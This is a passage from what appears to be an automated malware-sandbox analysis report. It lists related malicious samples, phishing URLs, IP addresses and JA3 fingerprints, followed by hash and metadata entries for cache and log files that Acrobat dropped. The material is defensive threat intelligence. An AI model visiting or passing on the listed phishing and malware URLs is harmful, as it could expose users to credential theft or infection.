	http://instagram.totalh.net/	Get hash	malicious	Unknown	Browse	185.27.134.215
	gYYKUhFeTl.exe	Get hash	malicious	Unknown	Browse	185.27.134.11
	gYYKUhFeTl.exe	Get hash	malicious	Unknown	Browse	185.27.134.11
	http://infokingz.com/wp-content/uploads/2024/09/Remittance-copy11.html	Get hash	malicious	HTMLPhisher	Browse	185.27.134.230
	Payment.pdf	Get hash	malicious	HTMLPhisher	Browse	185.27.134.230
	http://instagramexternalwebsite.rf.gd/	Get hash	malicious	Unknown	Browse	185.27.134.34
FASTLYUS	file.exe	Get hash	malicious	Credential Flusher	Browse	151.101.1.91
	scan_doc20241024.vbs	Get hash	malicious	Remcos	Browse	185.199.108.133
	FedEx Shipping Document_pdf.html	Get hash	malicious	Unknown	Browse	199.232.196.193
	Circular_no_088_Annexure_pdf.html	Get hash	malicious	HTMLPhisher	Browse	151.101.194.137
	file.exe	Get hash	malicious	Credential Flusher	Browse	151.101.65.91
	file.exe	Get hash	malicious	Credential Flusher	Browse	151.101.65.91
	RTGS_UCB_DCCB_docx.html	Get hash	malicious	HTMLPhisher	Browse	151.101.2.137
	file.exe	Get hash	malicious	Credential Flusher	Browse	151.101.129.91
	file.exe	Get hash	malicious	Credential Flusher	Browse	151.101.193.91
	file.exe	Get hash	malicious	Credential Flusher	Browse	151.101.1.91
AMAZON-AESUS	Order.exe	Get hash	malicious	FormBook, PureLog Stealer	Browse	52.20.84.62
	la.bot.powerpc.elf	Get hash	malicious	Unknown	Browse	3.208.56.119
	la.bot.m68k.elf	Get hash	malicious	Unknown	Browse	35.172.39.248
	na.elf	Get hash	malicious	Unknown	Browse	3.93.94.203
	https://linkednnn.weebly.com/	Get hash	malicious	Unknown	Browse	3.233.158.25
	la.bot.mipsel.elf	Get hash	malicious	Unknown	Browse	3.217.150.18
	https://freshremovedigital.com/	Get hash	malicious	Unknown	Browse	18.232.36.66
	https://forcallblitz.com/	Get hash	malicious	Unknown	Browse	34.225.61.248
	https://www.paypal.com/invoice/payerView/details/INV2-N92X-T2Z2-AHQ9-TKQH?locale.x=en_US&v=1&utm_source=unp&utm_medium=email&utm_campaign=RT000238&utm_unptid=3863e735-915a-11ef-98e8-79ac3b3090e7&ppid=RT000238&cnac=US&rsta=en_US%28en-US%29&unptid=3863e735-915a-11ef-98e8-79ac3b3090e7&calc=f264059569334&unp_tpcid=invoice-buyer-notification&page=main%3Aemail%3ART000238&pgrp=main%3Aemail&e=cl&mchn=em&s=ci&mail=sys&appVersion=1.287.1&tenant_name=&xt=145585%2C134644%2C150948%2C104038&link_ref=details_inv2-n92x-t2z2-ahq9-tkqh	Get hash	malicious	Unknown	Browse	54.235.101.7
	https://printwithwave.co:443,*	Get hash	malicious	Unknown	Browse	54.225.120.177
UKRNETKievUkraineUA	counter.exe	Get hash	malicious	Bdaejec	Browse	212.42.72.183
UKRNETKievUkraineUA	report.html	Get hash	malicious	Unknown	Browse	212.42.75.253

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
28a2c9bd18a11de089ef85a160da29e4	FedEx Shipping Document_pdf.html	Get hash	malicious	Unknown	Browse	172.202.163.200 4.245.163.56 184.28.90.27 13.107.246.60
	MV EAGLE EYE RFQ-92008882920-PDF.vbs	Get hash	malicious	Unknown	Browse	172.202.163.200 4.245.163.56 184.28.90.27 13.107.246.60
	Urgent Quotation documents One Pdf.vbs	Get hash	malicious	AgentTesla	Browse	172.202.163.200 4.245.163.56 184.28.90.27 13.107.246.60
	Circular_no_088_Annexure_pdf.html	Get hash	malicious	HTMLPhisher	Browse	172.202.163.200 4.245.163.56 184.28.90.27 13.107.246.60
	RTGS_UCB_DCCB_docx.html	Get hash	malicious	HTMLPhisher	Browse	172.202.163.200 4.245.163.56 184.28.90.27 13.107.246.60
	https://t.co/yXelyYqHRk	Get hash	malicious	Unknown	Browse	172.202.163.200 4.245.163.56 184.28.90.27 13.107.246.60
	http://jedox-couriers.com/5g/domain.php/domain..html?#infoland@hdel.co.kr	Get hash	malicious	HTMLPhisher	Browse	172.202.163.200 4.245.163.56 184.28.90.27 13.107.246.60
	https://linkednnn.weebly.com/	Get hash	malicious	Unknown	Browse	172.202.163.200 4.245.163.56 184.28.90.27 13.107.246.60
	http://doddyfire.linkpc.net:10000/	Get hash	malicious	Unknown	Browse	172.202.163.200 4.245.163.56 184.28.90.27 13.107.246.60
	https://chiquitzinbb.com/o/?c3Y9bzM2NV8xX25vbSZyYW5kPWQxbDZOVGc9JnVpZD1VU0VSMTYxMDIwMjRVMTExMDE2NDc=N0123N	Get hash	malicious	HTMLPhisher, Mamba2FA	Browse	172.202.163.200 4.245.163.56 184.28.90.27 13.107.246.60

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	292
Entropy (8bit):	5.204259063804938
Encrypted:	false
SSDEEP:	6:+oRmFfVq2Pwkn2nKuAl9OmbnIFUt8toRmHOH0gZmw+toRmHOH0IkwOwkn2nKuAlz:lRmF9vYfHAahFUt8+Rm4/++Rmg5JfHAR
MD5:	791EF9181F97833CF731BFB0422C7E9F
SHA1:	2B9B3C62DED4BFA4B34D9CB52D75D33A445A913B
SHA-256:	8D4BDDFD932F1781D5E956F2EFD68CCAA7E8A3EAB954C9A074EE6E54BA85ACDB
SHA-512:	C9DD9286263AB4692482CB9DFC963A4EB07025E9841F76791B205CF5E705CE1145071A9DB69C0FA1C4E9DB74517CA9364C257E073C4FE36C3F1D8D1D0D17CED1
Malicious:	false
Reputation:	low
Preview:	2024/10/24-02:49:54.155 1db4 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2024/10/24-02:49:54.157 1db4 Recovering log #3.2024/10/24-02:49:54.157 1db4 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	292
Entropy (8bit):	5.204259063804938
Encrypted:	false
SSDEEP:	6:+oRmFfVq2Pwkn2nKuAl9OmbnIFUt8toRmHOH0gZmw+toRmHOH0IkwOwkn2nKuAlz:lRmF9vYfHAahFUt8+Rm4/++Rmg5JfHAR
MD5:	791EF9181F97833CF731BFB0422C7E9F
SHA1:	2B9B3C62DED4BFA4B34D9CB52D75D33A445A913B
SHA-256:	8D4BDDFD932F1781D5E956F2EFD68CCAA7E8A3EAB954C9A074EE6E54BA85ACDB
SHA-512:	C9DD9286263AB4692482CB9DFC963A4EB07025E9841F76791B205CF5E705CE1145071A9DB69C0FA1C4E9DB74517CA9364C257E073C4FE36C3F1D8D1D0D17CED1
Malicious:	false
Reputation:	low
Preview:	2024/10/24-02:49:54.155 1db4 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2024/10/24-02:49:54.157 1db4 Recovering log #3.2024/10/24-02:49:54.157 1db4 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	336
Entropy (8bit):	5.147639210989
Encrypted:	false
SSDEEP:	6:+oRL34q2Pwkn2nKuAl9Ombzo2jMGIFUt8toRAJZmw+toRRVNDkwOwkn2nKuAl9OU:lRkvYfHAa8uFUt8+RC/++RRVF5JfHAaU
MD5:	E4C79A2E79DB636AE2D39ACCDADD6603
SHA1:	726FFF4FAF3979BE5C706F225AF7ACD6EE4C2613
SHA-256:	32C4BB7F03B7B124A2FB165E522E046FAD0B7CC606147190058A95409D22F1E3
SHA-512:	DC13D00695BC7F1C552B7D45FDFC8A0D2009A0FBB0713BF0D8A73C66A3DFDBE4FF19A1D8B76EB020D73FFD7DCEB1DA42635BC8F9A8085D59CF44768E5356EE32
Malicious:	false
Reputation:	low
Preview:	2024/10/24-02:49:54.226 1e40 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2024/10/24-02:49:54.227 1e40 Recovering log #3.2024/10/24-02:49:54.228 1e40 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	336
Entropy (8bit):	5.147639210989
Encrypted:	false
SSDEEP:	6:+oRL34q2Pwkn2nKuAl9Ombzo2jMGIFUt8toRAJZmw+toRRVNDkwOwkn2nKuAl9OU:lRkvYfHAa8uFUt8+RC/++RRVF5JfHAaU
MD5:	E4C79A2E79DB636AE2D39ACCDADD6603
SHA1:	726FFF4FAF3979BE5C706F225AF7ACD6EE4C2613
SHA-256:	32C4BB7F03B7B124A2FB165E522E046FAD0B7CC606147190058A95409D22F1E3
SHA-512:	DC13D00695BC7F1C552B7D45FDFC8A0D2009A0FBB0713BF0D8A73C66A3DFDBE4FF19A1D8B76EB020D73FFD7DCEB1DA42635BC8F9A8085D59CF44768E5356EE32
Malicious:	false
Reputation:	low
Preview:	2024/10/24-02:49:54.226 1e40 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2024/10/24-02:49:54.227 1e40 Recovering log #3.2024/10/24-02:49:54.228 1e40 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\44a194f3-db0c-47b3-8eba-f6b5138aaa55.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	modified
Size (bytes):	475
Entropy (8bit):	4.956273423195996
Encrypted:	false
SSDEEP:	12:YH/um3RA8squsBdOg2HJBcaq3QYiubInP7E4T3y:Y2sRdsCdMHJ43QYhbG7nby
MD5:	40E1E724B594B6C56D77F29D618B835B
SHA1:	24082D21345A26BC7E9D1A2A0270EE107E608733
SHA-256:	8F164EFDFADBFE86A45CE5220CF7D78B1EF0421B3B121F1D62416EE40B6FCF82
SHA-512:	8F959D887AB721312B296728F1AEA61EBD7F51A617D11F5A4230EE527C0B6C9F02D9C7AC57EF8BE0F25C0E3B3313C4E444CCF23662B4A5FC80365A486E5B2ED6
Malicious:	false
Reputation:	low
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13374312600021212","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":244328},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.4","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	475
Entropy (8bit):	4.956273423195996
Encrypted:	false
SSDEEP:	12:YH/um3RA8squsBdOg2HJBcaq3QYiubInP7E4T3y:Y2sRdsCdMHJ43QYhbG7nby
MD5:	40E1E724B594B6C56D77F29D618B835B
SHA1:	24082D21345A26BC7E9D1A2A0270EE107E608733
SHA-256:	8F164EFDFADBFE86A45CE5220CF7D78B1EF0421B3B121F1D62416EE40B6FCF82
SHA-512:	8F959D887AB721312B296728F1AEA61EBD7F51A617D11F5A4230EE527C0B6C9F02D9C7AC57EF8BE0F25C0E3B3313C4E444CCF23662B4A5FC80365A486E5B2ED6
Malicious:	false
Reputation:	low
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13374312600021212","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":244328},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.4","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	4730
Entropy (8bit):	5.254577562152066
Encrypted:	false
SSDEEP:	96:etJCV4FAsszrNamjTN/2rjYMta02fDtehgO7BtTgo77VBTB99VtTZ:etJCV4FiN/jTN/2r8Mta02fEhgO73gov
MD5:	CC176A0912BF282A6398D931BE424303
SHA1:	D5E39C1278B2D6C8F770B84D4707D90D91DD8E00
SHA-256:	3D4DDEC7FFF8BAB2F9C1402924FD8F3A554F55D33542E26AF35D535D79D84015
SHA-512:	61E41E245B10E0310ADE0E7FA52594CCA39DF281AF01307E317F8D892AF289A1FEC5C88CC02D0DCEB79D7F5D685726A324FCAA81D3C74A92BA1F8B1C745C3CC5
Malicious:	false
Preview:	*...#................version.1..namespace-['O.o................next-map-id.1.Pnamespace-158f4913_074a_4bdf_b463_eb784cc805b4-https://rna-resource.acrobat.com/.0>...r................next-map-id.2.Snamespace-fd2db5bd_ef7e_4124_bfa7_f036ce1d74e5-https://rna-v2-resource.acrobat.com/.1O..r................next-map-id.3.Snamespace-cd5be8d1_42d2_481d_ac0e_f904ae470bda-https://rna-v2-resource.acrobat.com/.2.\.o................next-map-id.4.Pnamespace-6070ce43_6a74_4d0a_9cb8_0db6c3126811-https://rna-resource.acrobat.com/.3....^...............Pnamespace-158f4913_074a_4bdf_b463_eb784cc805b4-https://rna-resource.acrobat.com/..\|.^...............Pnamespace-6070ce43_6a74_4d0a_9cb8_0db6c3126811-https://rna-resource.acrobat.com/n..Fa...............Snamespace-fd2db5bd_ef7e_4124_bfa7_f036ce1d74e5-https://rna-v2-resource.acrobat.com/DQ..a...............Snamespace-cd5be8d1_42d2_481d_ac0e_f904ae470bda-https://rna-v2-resource.acrobat.com/i.`do................next-map-id.5.Pnamespace-de635bf2_6773_4d83_ad16_

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	324
Entropy (8bit):	5.154269638660807
Encrypted:	false
SSDEEP:	6:+oRIWPZ4q2Pwkn2nKuAl9OmbzNMxIFUt8toRIQBJZmw+toRIQBDkwOwkn2nKuAlG:lRevYfHAa8jFUt8+Rtr/++Rth5JfHAab
MD5:	B9C5A84A3B3A9156A6902B766238A744
SHA1:	1FE8F53CE8EEAE8F8248529E527F8569CC465852
SHA-256:	E4F0F91A05A29D900D1F5D31D1721E87372816438F21B04AE298DC129F6AE2FF
SHA-512:	5302010AFCBC1831048946FC855237E8597CF8192907CC4F3B68D7BCB6212CED0BC12272870CEB5E697C52C969E3CB17E633202A245D98418AF034C47B7D753B
Malicious:	false
Preview:	2024/10/24-02:49:54.273 1e40 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2024/10/24-02:49:54.275 1e40 Recovering log #3.2024/10/24-02:49:54.275 1e40 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	324
Entropy (8bit):	5.154269638660807
Encrypted:	false
SSDEEP:	6:+oRIWPZ4q2Pwkn2nKuAl9OmbzNMxIFUt8toRIQBJZmw+toRIQBDkwOwkn2nKuAlG:lRevYfHAa8jFUt8+Rtr/++Rth5JfHAab
MD5:	B9C5A84A3B3A9156A6902B766238A744
SHA1:	1FE8F53CE8EEAE8F8248529E527F8569CC465852
SHA-256:	E4F0F91A05A29D900D1F5D31D1721E87372816438F21B04AE298DC129F6AE2FF
SHA-512:	5302010AFCBC1831048946FC855237E8597CF8192907CC4F3B68D7BCB6212CED0BC12272870CEB5E697C52C969E3CB17E633202A245D98418AF034C47B7D753B
Malicious:	false
Preview:	2024/10/24-02:49:54.273 1e40 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2024/10/24-02:49:54.275 1e40 Recovering log #3.2024/10/24-02:49:54.275 1e40 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ConnectorIcons\icon-241024064958Z-160.bmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PC bitmap, Windows 3.x format, 107 x -152 x 32, cbSize 65110, bits offset 54
Category:	dropped
Size (bytes):	65110
Entropy (8bit):	2.056991310858173
Encrypted:	false
SSDEEP:	384:cFuFuKebKcm07Oel4QPZQG7KC6KahVjvTbtF:cmeOcmwOK4CZQG7KjKIVbbtF
MD5:	16CBBE8F62AF051C02FA5E126168FB33
SHA1:	2852A007C95D5A5E99975A2E6C53B3150191CA20
SHA-256:	1A30AAE16DCB8DAF2FA7CC36E974C7BFD7917DAAB77A0B2688531F49CB5663D4
SHA-512:	00AD285E2CB532BC307E19C92479DA9854927DE8AF1A9D51DD65044C24241B400C7A938C69165B79339E919DC44EACEDAABDF05D79BE826FFBA28E2AC141856C
Malicious:	false
Preview:	BMV.......6...(...k...h..... ...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 15, database pages 21, cookie 0x5, schema 4, UTF-8, version-valid-for 15
Category:	dropped
Size (bytes):	86016
Entropy (8bit):	4.444863433965196
Encrypted:	false
SSDEEP:	384:yezci5tfiBA7aDQPsknQ0UNCFOa14ocOUw6zyFzqFkdZ+EUTTcdUZ5yDQhJL:rUs3OazzU89UTTgUL
MD5:	7FEFB702AA6040E6D0BB905B41E1A1F1
SHA1:	69EBFA1D80C6E3820FC349968906E7702F766D58
SHA-256:	1B8EBD4567B566F60F66848ED308F9FFDABFA355C260767604076891AC7AE80A
SHA-512:	D98240B25475DA2EE9E64BACB6A165981D8CB84807D31C8B341C5C0118392B57D06F71C3D33BD46028F8895CA604D30AC5A0BC28BA48F5BCA3CD07822A814301
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.......1........T...U.1.D............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	3.7727565020984826
Encrypted:	false
SSDEEP:	48:7MMMp/E2ioyVDBSioy9oWoy1Cwoy1MBhKOioy1noy1AYoy1Wioy1hioybioyO4Ba:7EpjusFXXKQ4z/b9IVXEBodRBkG
MD5:	5B0EF2BB18DC1CAC2C368B123085553E
SHA1:	A93721C5A9259AE2A2C1590B1429052371CA6671
SHA-256:	2399C4CC1C480A03CA1207D321B9EC1D9DBB18AA1B6554E04D9A61437C62AB55
SHA-512:	3A36934617D07158D10718C62FD48005C3E4F474E31B67AABA6F6BBCBFBBB9CBB2633178C6A32DA9033842FED813521F1F8DEAE34DA3DDD00FF6C4D5E5173F12
Malicious:	false
Preview:	.... .c......>.g...............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................T...[...b...r...t...}.....L..............................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Certificate, Version=3
Category:	dropped
Size (bytes):	1391
Entropy (8bit):	7.705940075877404
Encrypted:	false
SSDEEP:	24:ooVdTH2NMU+I3E0Ulcrgdaf3sWrATrnkC4EmCUkmGMkfQo1fSZotWzD1:ooVguI3Kcx8WIzNeCUkJMmSuMX1
MD5:	0CD2F9E0DA1773E9ED864DA5E370E74E
SHA1:	CABD2A79A1076A31F21D253635CB039D4329A5E8
SHA-256:	96BCEC06264976F37460779ACF28C5A7CFE8A3C0AAE11A8FFCEE05C0BDDF08C6
SHA-512:	3B40F27E828323F5B91F8909883A78A21C86551761F27B38029FAAEC14AF5B7AA96FB9F9CC93EE201B5EB1D0FEF17B290747E8B839D2E49A8F36C5EBF3C7C910
Malicious:	false
Preview:	0..k0..S............@.YDc.c...0....H........0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10...150604110438Z..350604110438Z0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10.."0....H.............0..........$s..7.+W(.....8..n<.W.x.u...jn..O(..h.lD...c...k....1.!~.3<.H..y.....!.K...qiJffl.~<p..)"......K...~....G.\|.H#S.8.O.o...IW..t../.8.{.p!.u.0<.....c...O..K~.....w...{J.L.%.p..)..S$........J.?..aQ.....cq...o[...\4ylv.;.by.../&.....................6....7..6u...r......I......A..v........5/(.l....dwnG7..Y^h..r...A)>Y>.&.$...Z.L@.F....:Qn.;.}r...xY.>Qx....../..>{J.Ks......P.\|C.t..t.....0.[q6....00\H..;..}`...).........A.......\|.;F.H..v.v..j.=...8.d..+..(.....B.".'].y...p..N..:..'Qn..d.3CO......B0@0...U...........0...U.......0....0...U......y.Y.{....s.....X..n0...*.H.............U.X....P.....i ')..au\.n...i/..VK..s.Y.!.~.Lq...`.9....!V..P.Y...Y.............b.E.f..\|o..;.....'...}~.."......

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Microsoft Cabinet archive data, Windows 2000/XP setup, 71954 bytes, 1 file, at 0x2c +A "authroot.stl", number 1, 6 datablocks, 0x1 compression
Category:	dropped
Size (bytes):	71954
Entropy (8bit):	7.996617769952133
Encrypted:	true
SSDEEP:	1536:gc257bHnClJ3v5mnAQEBP+bfnW8Ctl8G1G4eu76NWDdB34w18R5cBWcJAm68+Q:gp2ld5jPqW8LgeulxB3fgcEfDQ
MD5:	49AEBF8CBD62D92AC215B2923FB1B9F5
SHA1:	1723BE06719828DDA65AD804298D0431F6AFF976
SHA-256:	B33EFCB95235B98B48508E019AFA4B7655E80CF071DEFABD8B2123FC8B29307F
SHA-512:	BF86116B015FB56709516D686E168E7C9C68365136231CC51D0B6542AE95323A71D2C7ACEC84AAD7DCECC2E410843F6D82A0A6D51B9ACFC721A9C84FDD877B5B
Malicious:	false
Preview:	MSCF............,...................I..................XaK .authroot.stl.[.i..6..CK..<Tk......4.cl!Kg..E..Y.f_..".$mR"$.J.E.KB."..rKv.."{.g....3.W.....c..9.s...=....y6#..x..........D......\(.#.s.!.A.......cd.c........+^.ov...n.....3BL..0.......BPUR&.X..02.q...R...J.....w.....b.vy>....-.&..(..oe."."...J9...0U.6J..\|U..S.....M.F8g...=.......p...........l.?3.J.x.G.Ep..$g..tj......)v]9(:.)W.8.Op.1Q..:.nPd........7.7..M].V F..g.....12..!7(...B.......h.RZ.......l.<.....6..Z^.`p?... .p.Gp.#.'.X..........\|!.8.....".m.49r?.I...g...8.v.....a``.g.R4.i...J8q....NFW,E.6Y....!.o5%.Y.....R..<..S9....r....WO...(.....F..Q=....-..7d..O(....-..+k.........K..........{Q....Z..j._.E...QZ.~.\.^......N.9.k..O.}dD.b1r...[}/....T..E..G..c.\|.c.&>?..^t. ..;..X.d.E.0G....[Q.,......#.Dp..L.o\|#syc.J............}G-.ou6.=52..XWi=...m.....^u......c..fc?&pR7S5....I...j.G........j.j..Tc.El.....B.pQ.,Bp....j...9g.. >..s..m#.Nb.o_u.M.V...........\#...v..Mo\sF..s....Y...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	192
Entropy (8bit):	2.752969867432539
Encrypted:	false
SSDEEP:	3:kkFklTRQvfllXlE/HT8k2X7vNNX8RolJuRdxLlGB9lQRYwpDdt:kKAT8DVNMa8RdWBwRd
MD5:	67E82AD764294BB254747F8D05E2812A
SHA1:	C9BA2E8F7D21B70829E081F44CE8E7CA9ED0C897
SHA-256:	235BEB6A2EE0D85D636D33FEFF1330F58F840DA3385FB0048BDD7F076B92073E
SHA-512:	5121020947459EC41CA3DC9F3CF69880E9697E2A241CBD83418B4FF88878EDE97746AB1AB92204B083728FE1007C3FA8B784D8A326365CE550DDAFDD92C6EABD
Malicious:	false
Preview:	p...... ........`tT..%..(....................................................... ..........W....................o...h.t.t.p.:././.x.1...i...l.e.n.c.r...o.r.g./...".6.4.c.d.6.6.5.4.-.5.6.f."...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	modified
Size (bytes):	328
Entropy (8bit):	3.150184159866505
Encrypted:	false
SSDEEP:	6:kKL9UswDLL+N+SkQlPlEGYRMY9z+4KlDA3RUebT3:KDnLNkPlE99SNxAhUe/3
MD5:	BAAE5132D86D402659280FEBE8539488
SHA1:	972B0AFEAE94F0A7FAFCD54C04FF0B71302CEDA5
SHA-256:	0F9710E3AB61D50AFF28E56D09FD3374EED6B1F3542A8FAF1FA4AF316C35B8B0
SHA-512:	CF58E2EEFD3DBEE4FA274D1A8E94F4E2D8BEBA9119A3D85A2A6D6FBA521788FEDE3F61D70DB8FBD9446C300E772B473DB8E9C5C802FDB60DDD94028701BB1502
Malicious:	false
Preview:	p...... ............%..(....................................................... ........G..@.......&...............h.t.t.p.:././.c.t.l.d.l...w.i.n.d.o.w.s.u.p.d.a.t.e...c.o.m./.m.s.d.o.w.n.l.o.a.d./.u.p.d.a.t.e./.v.3./.s.t.a.t.i.c./.t.r.u.s.t.e.d.r./.e.n./.a.u.t.h.r.o.o.t.s.t.l...c.a.b...".a.7.2.8.2.e.b.4.0.b.1.d.a.1.:.0."...

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\ACROBAT_READER_MASTER_SURFACEID

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.317967167534118
Encrypted:	false
SSDEEP:	6:YEQXJ2HXFQYp5qWkVoZcg1vRcR0Y3Rt7xoAvJM3g98kUwPeUkwRe9:YvXKXFQsBZc0voSGMbLUkee9
MD5:	C02CF8ED1BC8954739888E51986E2111
SHA1:	1D5B239DD243768EE2341A5B20D2FA0877C5E4D3
SHA-256:	E7CD8309BA13FCF3647D27395E9CED36E6AE8CB68A3232DCB9560D11CC664387
SHA-512:	A8F0C2EE883B02FDE5FA17D4695055E1D5C1506A6CF89F4A948C89CD57F0A0C12A6FED9DC6ED8BF8A139A2A44F37DE014FDD9D3FD210D57CAC919DEB681403B1
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"25fae454-9a83-4d74-a43e-efd4caf7cf6c","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1729932465923,"statusCode":200,"surfaceID":"ACROBAT_READER_MASTER_SURFACEID","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Home_View_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.262729416384867
Encrypted:	false
SSDEEP:	6:YEQXJ2HXFQYp5qWkVoZcg1vRcR0Y3Rt7xoAvJfBoTfXpnrPeUkwRe9:YvXKXFQsBZc0voSGWTfXcUkee9
MD5:	0701942733E3E817448DC7FBB8820C55
